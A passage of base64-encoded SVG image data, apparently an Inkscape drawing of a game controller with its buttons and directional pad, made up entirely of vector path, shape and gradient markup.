ZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NzEiIGQ9Im0tNzUxLjYtODEwLjhjMCAwIDE4LjEtMTMuNCA0NS45LTEzLjUgMzAuNC0wLjIgNDQuNCAxMy41IDQ0LjQgMTMuNSAzLjcgMi44IDYuOSAzLjkgNy4zIDguN2wzLjQgMzkuM2MwLjQgNC44LTMuMyA4LjctNy4zIDguN2wtOTcuMSAwYy00LjEgMC03LjctMy45LTcuMy04LjdsMy40LTM5LjNjMC40LTQuOCAyLjctNS45IDcuMy04Ljd6IiBmaWxsPSIjY2NjZWNlIi8+PHBhdGggZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGlkPSJwYXRoNjg3MyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjOTI5Njk1Ii8+PC9nPjxwYXRoIGQ9Im0xNTcuMiAxMjMuMSAwIDE2NC4zTDUuMSAyMTYuNGMwIDAtMTEuNCAyMDIuNi0xMi4zIDIxMy44LTEgMTIgMC40IDg1LjkgNDQuNCAxMDcuOSA5Mi43IDQ2LjIgMTMzLjktNzkuMiAxMzMuOS03OS4yIDAgMCAzMi41LTcyIDU1LTEwNCA0LTUuNyA2LjctMTAuNiA5LjgtMTQuMiAxLjMtMS42IDMuNi0yLjQgNC44LTIuOSAzLjMtMS42IDguOS0yLjcgOC45LTIuNyA4My44IDIuNCAxNjIuOCAxLjcgMjQ3IDAgMCAwIDUuNyAxLjEgOC45IDIuNyAxLjYgMC44IDQuNSAyIDYuMSAzLjggMyAzLjQgNS41IDggOS4yIDEzLjMgMjIuNiAzMiA1NC43IDEwNC4xIDU0LjcgMTA0LjEgMCAwIDQxLjIgMTI1LjQgMTMzLjkgNzkuMiA0NC0yMS45IDQyLjktOTUuOSA0MS45LTEwOC0wLjktMTEuMi0xMC43LTIwNi44LTEwLjctMjA2LjhsLTE1MS45IDY0LjQgMC0xNjQuNi0xOTkuNi0wLjEtMzIuMSAweiIgaWQ9InBhdGg2ODc1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY3NzY3NzY2NjY3NzY3NzY2NjY2NjIiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggZD0ibTcwLjMgMjg5LjQgMCAyNTQuNGM2OS41IDYuMiAxMDAuOC04OS4xIDEwMC44LTg5LjEgMCAwIDMyLjUtNzIgNTUtMTA0IDQtNS43IDYuNy0xMC42IDkuOC0xNC4yIDEuMy0xLjYgMy42LTIuNCA0LjgtMi45IDMuMy0xLjYgOC45LTIuNyA4LjktMi43IDgzLjggMi40IDE2Mi44IDEuNyAyNDcgMCAwIDAgNS43IDEuMSA4LjkgMi43IDEuNiAwLjggNC41IDIgNi4xIDMuOCAzIDMuNCA1LjUgOCA5LjIgMTMuMyAyMi42IDMyIDU0LjcgMTA0LjEgNTQuNyAxMDQuMSAwIDAgNDEuMiAxMjUuNCAxMzMuOSA3OS4yIDEuMS0wLjYgMi4yLTEuMiAzLjMtMS44bDAtMjQyLjctNjQyLjUgMHoiIGlkPSJwYXRoNjg3OSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzMpO29wYWNpdHk6MSIvPjxwYXRoIGQ9Im0yMzkuOSAzMTYuOWM4OS44IDUuNyAxNzguNyAyLjIgMjYzLjItMC43IDEuOS0wLjEgNC4xLTAuNSA1LjItMy40IDAuMS0wLjIgMC4xLTAuNCAwLjItMC42IDAuNi0zLjEtMi4yLTguOS0yLjktMTIuNS0wLjgtMy45LTIuNS0xMC42LTIuNS0xMC42bC0yNTEuOS0zLjhjMCAwLTE1LjkgMTMuNi0xOC4zIDIzLjMtMC41IDEuOS0wLjIgNC4yIDAuNyA1LjggMC43IDEuMiA0LjIgMi41IDYuNCAyLjZ6IiBpZD0icGF0aDY4ODEiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3NjY3NzcyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcwNzUpO29wYWNpdHk6MCIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGQ9Im0xNzkuNCAxMTAuOCAwIDEyLjUgMTc3LjcgMCAzMi4xIDAgMTg2LjMgMC4xIDAtMTIuNi0zOTYuMSAweiIgaWQ9InBhdGg2ODc3IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA3MSkiLz48cGF0aCBkPSJtLTU3Ny40LTY2OC4xYTEyMy42IDEyNC42IDAgMCAxLTEyMy42IDEyNC42IDEyMy42IDEyNC42IDAgMCAxLTEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42IDEyNC42eiIgaWQ9InBhdGg2ODgzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiB0cmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtOTMuNjM1NTEzLDg5OS44MTU1MykiIHN0eWxlPSJmaWxsOnVybCgjcmFkaWFsR3JhZGllbnQ3MDc3KTtmaWx0ZXI6dXJsKCNmaWx0ZXI2NzA3KSIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg4NSIgZD0iTTI2MS4zIDIzMS43QTEyMy42IDEyNC42IDAgMCAxIDEzNy43IDM1Ni4zIDEyMy42IDEyNC42IDAgMCAxIDE0IDIzMS43IDEyMy42IDEyNC42IDAgMCAxIDEzNy43IDEwNy4xIDEyMy42IDEyNC42IDAgMCAxIDI2MS4zIDIzMS43WiIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzkpO2ZpbHRlcjp1cmwoI2ZpbHRlcjY3MDcpIi8+PHBhdGggZD0ibTEyLjcgMzAxYzAgMC0yMi41IDEzOS41LTEzLjUgMTQ0LjkgOSA1LjQgMzMuMyA4NC4xIDM3LjggODguNiA0LjUgNC41IDI0LjkgMjQuMSA3MiA3LjIgNDcuMS0xNi45IDE0My4xLTIzNi4yIDE0My4xLTIzNi4yTDMxLjYgMjc1LjlaIiBpZD0icGF0aDY4ODciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcwODEpIi8+PHJlY3QgaWQ9InJlY3Q2ODg5IiB3aWR0aD0iMzc0LjgiIGhlaWdodD0iMjAuMiIgeD0iMjAwLjciIHk9IjEyMy4yIiBzdHlsZT0iZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzA4Myk7b3BhY2l0eToxIi8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODkxIiBkPSJNMjU3LjUgMjI3QTEyNi41IDEyNy41IDAgMCAxIDEzMSAzNTQuNiAxMjYuNSAxMjcuNSAwIDAgMSA0LjUgMjI3IDEyNi41IDEyNy41IDAgMCAxIDEzMSA5OS41IDEyNi41IDEyNy41IDAgMCAxIDI1Ny41IDIyN1oiIGZpbGw9IiM5Mjk2OTUiLz48ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSg4MzguNzIwMzUsODk5LjgxNTUzKSIgaWQ9Imc2ODkzIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk1IiBkPSJtLTc0MC40LTgyNS44YzIxLjktMTAuOCA0OS4yLTEwLjggNzEuMSAwIDMuMyAxLjYgNy42IDQuMSA3LjYgOS4xbDAgNy43YzAgNS0zLjQgOS4xLTcuNiA5LjFsLTcxLjEgMGMtNC4yIDAtNy42LTQuMS03LjYtOS4xbDAtNy43YzAtNSA0LjMtNy41IDcuNi05LjF6IiBmaWxsPSIjMmIzMjM2Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg5NyIgZD0ibS03MzkuMi04MjUuNmMyMS4yLTEwLjQgNDcuNS0xMC40IDY4LjcgMCAzLjIgMS42IDcuNCAzLjkgNy40IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNCA4LjhsLTY4LjcgMGMtNC4xIDAtNy40LTMuOS03LjQtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy40LTguOHoiIGNsYXNzPSJzOCIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk5IiBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgZmlsbD0idXJsKCNyYWRpYWxHcmFkaWVudDcwODUpIi8+PHBhdGggZD0ibS03MzkuNS04MjUuMmMyMS40LTEwLjQgNDguMi0xMC40IDY5LjYgMCAzLjMgMS42IDcuNSAzLjkgNy41IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNSA4LjhsLTY5LjYgMGMtNC4xIDAtNy41LTMuOS03LjUtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy41LTguOHoiIGlkPSJwYXRoNjkwMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGZpbGw9IiMxNzFiMWQiLz48cGF0aCBkPSJtLTc1MS42LTgxMC44YzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2OTAzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9IiNjY2NlY2UiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjkwNSIgZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGZpbGw9IiM5Mjk2OTUiLz48L2c+PHBhdGggZD0iTTI1Ny41IDIyOEExMjcuNSAxMjcuNSAwIDAgMSAxMzAgMzU1LjUgMTI3LjUgMTI3LjUgMCAwIDEgMi40IDIyOCAxMjcuNSAxMjcuNSAwIDAgMSAxMzAgMTAwLjUgMTI3LjUgMTI3LjUgMCAwIDEgMjU3LjUgMjI4WiIgaWQ9InBhdGg2OTA3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA4NykiLz48cmVjdCBpZD0icmVjdDY5MDkiIHdpZHRoPSIzNzQuOCIgaGVpZ2h0PSIxLjkiIHg9IjE4Mi4xIiB5PSIxMjIuNSIgc3R5bGU9ImZpbGw6I2Y5ZjlmOTtmaWx0ZXI6dXJsKCNmaWx0ZXI2ODQ2KTtvcGFjaXR5OjAiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTEiIGQ9Ik0xNjMuNCAzNTAuM0ExMjcuOSAxMjcuMSAwIDAgMSA2LjggMjYwLjQgMTI3LjkgMTI3LjEgMCAwIDEgOTcuMiAxMDQuOCAxMjcuOSAxMjcuMSAwIDAgMSAyNTMuOCAxOTQuNiAxMjcuOSAxMjcuMSAwIDAgMSAxNjMuNCAzNTAuM1oiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDg5KSIvPjxwYXRoIGQ9Ik0yNTcuNSAyMjcuOUExMjUuNiAxMjYuNSAwIDAgMSAxMzIgMzU0LjQgMTI1LjYgMTI2LjUgMCAwIDEgNi40IDIyNy45IDEyNS42IDEyNi41IDAgMCAxIDEzMiAxMDEuNCAxMjUuNiAxMjYuNSAwIDAgMSAyNTcuNSAyMjcuOVoiIGlkPSJwYXRoNjkxMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTE1IiBkPSJtNzM0IDMwMWMwIDAgMjIuNSAxMzkuNSAxMy41IDE0NC45LTkgNS40LTMzLjMgODQuMS0zNy44IDg4LjYtNC41IDQuNS0yNC45IDI0LjEtNzIgNy4yQzU5MC43IDUyNC44IDQ5NC43IDMwNS41IDQ5NC43IDMwNS41bDIyMC41LTI5Ljd6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MSkiLz48ZyBpZD0iZzY5MTciIHRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLDY3Mi40MTQwNiw5MDEuNjE1MTMpIj48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTkiIGQ9Ik0xODQuNS02NzIuOEExMjYuNSAxMjcuNSAwIDAgMSA1OC01NDUuMiAxMjYuNSAxMjcuNSAwIDAgMS02OC41LTY3Mi44IDEyNi41IDEyNy41IDAgMCAxIDU4LTgwMC4zIDEyNi41IDEyNy41IDAgMCAxIDE4NC41LTY3Mi44WiIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIGQ9Ik0xODQuNS02NzEuOEExMjcuNSAxMjcuNSAwIDAgMSA1Ny01NDQuMyAxMjcuNSAxMjcuNSAwIDAgMS03MC41LTY3MS44IDEyNy41IDEyNy41IDAgMCAxIDU3LTc5OS40IDEyNy41IDEyNy41IDAgMCAxIDE4NC41LTY3MS44WiIgaWQ9InBhdGg2OTIxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MykiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MjMiIGQ9Im05MC40LTU0OS4zYTEyNy45IDEyNy4yIDAgMCAxLTE1Ni42LTg5LjkgMTI3LjkgMTI3LjIgMCAwIDEgOTAuNC0xNTUuOCAxMjcuOSAxMjcuMiAwIDAgMSAxNTYuNiA4OS45IDEyNy45IDEyNy4yIDAgMCAxLTkwLjQgMTU1Ljh6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NSkiLz48cGF0aCBkPSJNMTg0LjUtNjcxLjlBMTI1LjYgMTI2LjUgMCAwIDEgNTktNTQ1LjQgMTI1LjYgMTI2LjUgMCAwIDEtNjYuNi02NzEuOSAxMjUuNiAxMjYuNSAwIDAgMSA1OS03OTguNCAxMjUuNiAxMjYuNSAwIDAgMSAxODQuNS02NzEuOVoiIGlkPSJwYXRoNjkyNSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjwvZz48cGF0aCBpZD0icGF0aDY5MjciIGQ9Im01ODguOCAxNDAuMWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGNsYXNzPSJzMTEiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5MjkiIHJ5PSI2NC4zIiByeD0iMTA1LjYiIGN5PSIxOTIuMyIgY3g9IjYwOS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OS4zIDEzOS45Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg2OTMxIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NykiLz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1MDE2MSwwLDAsMS4xNTAxNjEsODcwLjEwODQ2LDk5NC45NjQ1NikiIGlkPSJnNjkzMyI+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjYwOC4xIiBpZD0iY2lyY2xlNjkzNSIgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgZmlsbD0iI2Y5ZjlmOSIvPjxjaXJjbGUgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgaWQ9ImNpcmNsZTY5MzciIGN4PSI2MDcuMiIgY3k9Ii0yMjQiIHI9IjIyLjEiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDk5KSIvPjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDI4LjM0NjYyOSwwLjAwNDk2Nzg1KSIgaWQ9Imc2OTM5Ij48cGF0aCBkPSJtLTI2Mi44LTYxNy42IDIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOSIgaWQ9InBhdGg2OTQxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBjbGFzcz0iczEzIi8+PC9nPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1OTg5NDQsMCwwLDEuMTU5ODk0NCw4ODQuNzI1ODEsMTAxMi43MTczKSIgaWQ9Imc2OTQ1Ij48Y2lyY2xlIGlkPSJjaXJjbGU2OTQ3IiBjeD0iLTI4Ni42IiBjeT0iLTY3MC43IiByPSIyMi4xIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTY2OS44IiBjeD0iLTI4Ni42IiBpZD0iY2lyY2xlNjk0OSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDEpIi8+PHJlY3QgeT0iLTY4MC4zIiB4PSItMjk3LjEiIGhlaWdodD0iMjAuOSIgd2lkdGg9IjIwLjkiIGlkPSJyZWN0Njk1MSIgc3R5bGU9ImZpbGw6bm9uZTtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlOiNjZjhlYWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS4xNDc0MDI3LDAsMCwxLjE0NzQwMjcsODY5LjQ5MDY5LDEwMTUuNjY4KSIgaWQ9Imc2OTUzIj48Y2lyY2xlIGlkPSJjaXJjbGU2OTU1IiBjeD0iNzMzLjUiIGN5PSItMjI0IiByPSIyMi4xIiB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjczMi41IiBpZD0iY2lyY2xlNjk1NyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDMpIi8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMS4wOTE0MTQsMCwwLDEuMjE5ODUyMSwtMTguNzczMDgzLDg1LjE5Nzg3KSIgaW5rc2NhcGU6dHJhbnNmb3JtLWNlbnRlci15PSItMy43IiBkPSJtLTE3Ny40LTY2Mi4xLTIxLjIgMCAxMC42LTE4LjR6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjEuNiIgc29kaXBvZGk6YXJnMT0iMC41IiBzb2RpcG9kaTpyMj0iNi4xIiBzb2RpcG9kaTpyMT0iMTIuMiIgc29kaXBvZGk6Y3k9Ii02NjguMiIgc29kaXBvZGk6Y3g9Ii0xODgiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDY5NTkiIHNvZGlwb2RpOnR5cGU9InN0YXIiIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlLWxpbmVqb2luOnJvdW5kO3N0cm9rZS13aWR0aDoxO3N0cm9rZTojMTQ5NzhlIi8+PC9nPjxnIHRyYW5zZm9ybT0ibWF0cml4KDEuMTM5OTA3NiwwLDAsMS4xMzk5MDc2LDg1Ni44ODQzNSwxMDAwLjM0MTQpIiBpZD0iZzY5NjEiPjxjaXJjbGUgcj0iMjIuMSIgY3k9Ii02NzAuNiIgY3g9Ii0xNjEuMiIgaWQ9ImNpcmNsZTY5NjMiIGZpbGw9IiNmOWY5ZjkiLz48Y2lyY2xlIGlkPSJjaXJjbGU2OTY1IiBjeD0iLTE2MS4zIiBjeT0iLTY2OS44IiByPSIyMi4xIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEwNSkiLz48Y2lyY2xlIHI9IjEzLjMiIGN5PSItNjY5LjgiIGN4PSItMTYxLjMiIGlkPSJjaXJjbGU2OTY3IiBzdHlsZT0iZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2Utd2lkdGg6MTtzdHJva2U6I2E0NzU3NyIvPjwvZz48ZyBpZD0iZzY5NjkiIHRyYW5zZm9ybT0ibWF0cml4KDAuNjA2MDg3NDEsMCwwLDAuNjA2MDg3NDEsNjYwLjE1MzA3LDY1Mi4xOTg4MikiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NzY2NzYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTcxIiBkPSJtLTQ4OC40LTY4OS45IDAgNi4xYzAgMC0yNC44IDIuMy0yNC44LTYuMSAwLTUuNCAyNC44LTExLjUgMjQuOC0xMS41bDAgNy4xYzAgMC0xMy43IDMuNy0xMy43IDUuNCAwLjEgNC4xIDEzLjctMSAxMy43LTF6TS00NjkuNi02OTYuNmwwIDcuMk0tNDY5LjYtNjk2LjZsMCA3LjJNLTQ2OS42LTY5Ni42bDAgNy4yYzAgMCAxNy44LTcuNCAyMC42LTQuNCAxIDEuMS0wLjcgMi4yLTYuMSAzLjctNi40IDEuOC0xNC43IDUuNC0xNC43IDUuNGwwIDcuMWMwIDAgOS42LTMuNiAxOC43LTYuNSA5LjItMyAxMy40LTUuMyAxMy4xLTguMi0wLjUtMy43LTkuNC01LjktMTUuMi02LjMtNy44LTAuNS0xNi40IDIuMS0xNi40IDIuMXpNLTQ4NC43LTY4NC4ybDAtNTAuNWMwIDAgMTguMyAzLjEgMjQuNCA4LjcgNC4zIDQgNS45IDUuMiA2LjIgMTUuMiAwLjEgMy43LTIuMSA3LjQtNS44IDkuNC0yLjcgMS40LTcuOS0wLjgtNy45LTAuOGwwLTIwYzAgMC0xLTMtMy0zLjItMS42LTAuMS0yLjIgMS44LTIuMiAxLjhsMCA0MC42YzAgMCAwLjQgNC42LTAuOCA2LjMtMS44IDIuNS00LjkgMy43LTguMSA0LjEtOS45IDEuNC0yOS45LTcuMS0yOS45LTcuMWw5LjctMC4xYzAgMCAxMi4yIDIuNiAxNi41LTAuOCAxLTAuOCAxLTMuNiAxLTMuNnoiIGZpbGw9IiMxNzFiMWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS43NDI4NjU3LDAsMCwxLjM3MTM4MDUsMjk0My4xMTQ5LDEyMTYuMTk5OSkiIGlkPSJmbG93Um9vdDY5NzciIGNsYXNzPSJzMTQiPjxwYXRoIGQ9Im0tMTQ5My03MDIuNHEwIDAuNy0wLjEgMS4xLTAuMSAwLjQtMC4zIDAuNi0wLjIgMC4yLTAuNSAwLjMtMC4zIDAuMS0wLjggMC4xbC0xLjEgMCAwLTAuNiAxIDBxMC4yIDAgMC40IDAgMC4yLTAuMSAwLjItMC4yIDAuMS0wLjIgMC4xLTAuNSAwLTAuMyAwLTAuOCAwLTAuNSAwLTAuOCAwLTAuMy0wLjEtMC41LTAuMS0wLjItMC4yLTAuMi0wLjEtMC4xLTAuNC0wLjFsLTEuNCAwIDAgNi40LTEgMCAwLTcgMi42IDBxMC41IDAgMC44IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC43IDAuMSAwLjQgMC4xIDEuMXpNLTE0OTEuNC02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMk0tMTQ5MS40LTY5Ny41bC0xIDAgMC03LjIgMSAwIDAgNy4yTS0xNDkxLjQtNjk3LjVsLTEgMCAwLTcuMiAxIDAgMCA3LjJ6TS0xNDg4LjItNzAwLjlsMCAwLjYtMC40IDBxLTAuMyAwLTAuNCAwLTAuMiAwLTAuMiAwLjEtMC4xIDAuMS0wLjEgMC4yIDAgMC4xIDAgMC40bDAgMC42cTAgMC4yIDAgMC40IDAgMC4xIDAuMSAwLjIgMC4xIDAuMSAwLjMgMC4xIDAuMiAwIDAuNCAwbDEuMSAwIDAtMy4zcTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMCAwLTAuNiAxLjggMHEwLjUgMCAwLjcgMC4xIDAuMyAwLjEgMC41IDAuMyAwLjIgMC4yIDAuMiAwLjUgMC4xIDAuMyAwLjEgMC44bDAgMy45LTIuNSAwcS0wLjQgMC0wLjctMC4xLTAuMy0wLjEtMC41LTAuMi0wLjItMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC42bDAtMC43cTAtMC4zIDAuMS0wLjYgMC4xLTAuMiAwLjItMC40IDAuMi0wLjIgMC41LTAuMiAwLjMtMC4xIDAuNy0wLjFsMC44IDB6TS0xNDg1LTY5NS4zbDAuNi0yLjEtMS44LTUuNyAxLjEgMCAxLjIgNC41IDEuMy00LjUgMSAwLTIuMyA3LjgtMSAwek0tMTQ3Ny4zLTY5OS43cTAgMS4xLTAuNCAxLjYtMC40IDAuNS0xLjMgMC41bC0yLjIgMCAwLTAuNiAyIDBxMC4yIDAgMC40IDAgMC4yIDAgMC4zLTAuMiAwLjEtMC4xIDAuMi0wLjQgMC4xLTAuMyAwLjEtMC43IDAtMC40IDAtMC42IDAtMC4yLTAuMS0wLjQtMC4xLTAuMS0